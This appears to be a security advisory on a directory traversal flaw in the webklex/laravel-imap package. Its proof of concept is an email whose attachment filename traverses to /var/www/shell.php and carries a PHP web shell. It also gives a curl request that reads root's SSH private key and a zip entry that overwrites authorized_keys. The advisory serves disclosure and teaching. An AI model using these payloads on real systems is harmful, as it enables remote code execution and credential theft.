Directory Traversal Affecting webklex/laravel-imap package, versions <5.3.0

Affected versions of this package are vulnerable to Directory Traversal when an unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability, resulting in a remote code execution vulnerability.

Note: This vulnerability has a prerequisite that the script stores the attachments without providing a $filename or providing an unsanitized $filename, in src/Attachment::save(string $path, string $filename = null). In this case, where no $filename gets passed into the Attachment::save() method, the package would use a series of unsanitized and insecure input values from the mail as a fallback. Even if a developer passes a $filename into the Attachment::save() method, e.g., passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package.

1. send an email with a malicious attachment to an inbox, which gets crawled by the package.

Return-Path: <attacker@example.com>
Date: Fri, 17 Aug 2018 14:36:24 +0000
From: Attacker <attacker@example.com>
To: Victim <victim@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_"

Mail with a malicious attachment
--=swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d=
Content-Type: application/octet-stream; name=shell.php
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php
<?php
// RCE
system($_GET['cmd'] ?? '#');
?>
--=swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d=--

2. Crawl emails with malicious attachments.

3. Store the attachment with Attachment::save('/path/to/storage') without providing a $filename value.

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

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